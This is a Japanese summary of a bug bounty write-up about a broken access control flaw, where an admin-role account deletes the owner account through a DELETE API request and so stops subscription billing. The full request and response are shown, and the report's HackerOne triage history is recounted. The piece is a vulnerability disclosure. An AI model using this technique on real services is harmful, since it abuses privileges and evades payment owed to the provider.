How do I Bypass Payment when a Subscription ends so I don’t have to pay for my subscription から学ぶ

ソース:

aidilarf.medium.com

脆弱性:BAC

 

訳:

バグハンティングをするとき。
私はリクエストを処理する際の API フローを確認することに多くの時間を費やして。
この記事では、管理者ロールを持つユーザーが所有者ロール ( 最高のロールのアクセス権 ) をもつユーザーアクセスを削除できるという固有の問題を発見しました。 

アクセス ロール権限のカテゴリーの最高から最低まで 説明します。

 

  1. 所有者
  2. 管理者
  3. ユーザー
  4. ゲスト

 

この組織からユーザーを削除するときに API リクエストを探すことからはじめ
そして、これがリクエストです:

 

DELETE /api/[ORG]/deleteUser HTTP/2
Host: redacted.com
Cookie: *********************
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: Bearer ************
Content-Length: 37
Origin: https://redacted.com
Referer: https://redacted.com/redacted/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{“user”:”owner_role@gmail.com”}

 

そして、 管理者ロールアカウントを介して所有者ロールアカウントを削除しようとし。 ここで、私は応答を得ました:

 

HTTP/2 200 OK
Content-Type: application/json
Content-Length: 2
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=0; includeSubDomains
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Security-Policy:
Server: cloudflare

{}

 

それはうまくいき。
私はこれを HackerOne のバグ報奨金プログラム チームに報告しようとしました。

その後、数日後、私のレポートは 重複としてクローズされました。

 

 

素晴らしいニュースではありませんが、私は以前からそう予想していました。
その後、
元のレポートが まだ 「情報」 ステータスのままであることがわかりました。 私はそれを HackerOne Triage チームに尋ねました。

以下は、HackerOne Triage チームからの回答です。

 

チームはそれが有益であるとみなされる理由を提供していましたが、それはまだ有効であるため、これは重複していると考えられます。

私たちはこれをセキュリティ上の脆弱性とは考えていません。 アカウント所有者は管理者ユーザーによってプラットフォームから削除できますが、これは予期された動作です。

 

次の数日で試用期間が終了し 次のサブスクリプションの支払いが請求されます、
所有者ロールのアカウントに。
以下
スクリーンショットの例に示すように、

 

 

管理者ロールのアカウントを開きましたが、試用版サブスクリプションが終了したという通知は届きませんでした。
少し混乱していて、アカウントのサブスクリプションが終了しなかった理由を思い出そうとしています。

今なら分かりますが、その時私はオーナーのアカウントを組織から削除しようとしました。

 

 

どうやら、 サブスクリプションの支払いは、 所有者 ロールを持つアカウントによってのみ行うことができ
また、
所有者ロールのアカウントが組織にない場合、サブスクリプションは所有者ロール以外の誰にも請求されず。

さて、サブスクリプションの支払い機能をバイパスする方法を見つけました

 

この情報を以前のレポート に追加しようとしましたが、 情報が重複として閉じられましたサブスクリプションの支払い機能をバイパスするため

数日後、HackerOne Triage チームから追加情報を受け取り、 レビューのために Bug Bounty プログラム チームに送信されました

 

 

レポートが再び公開され

 

 

ほなほな。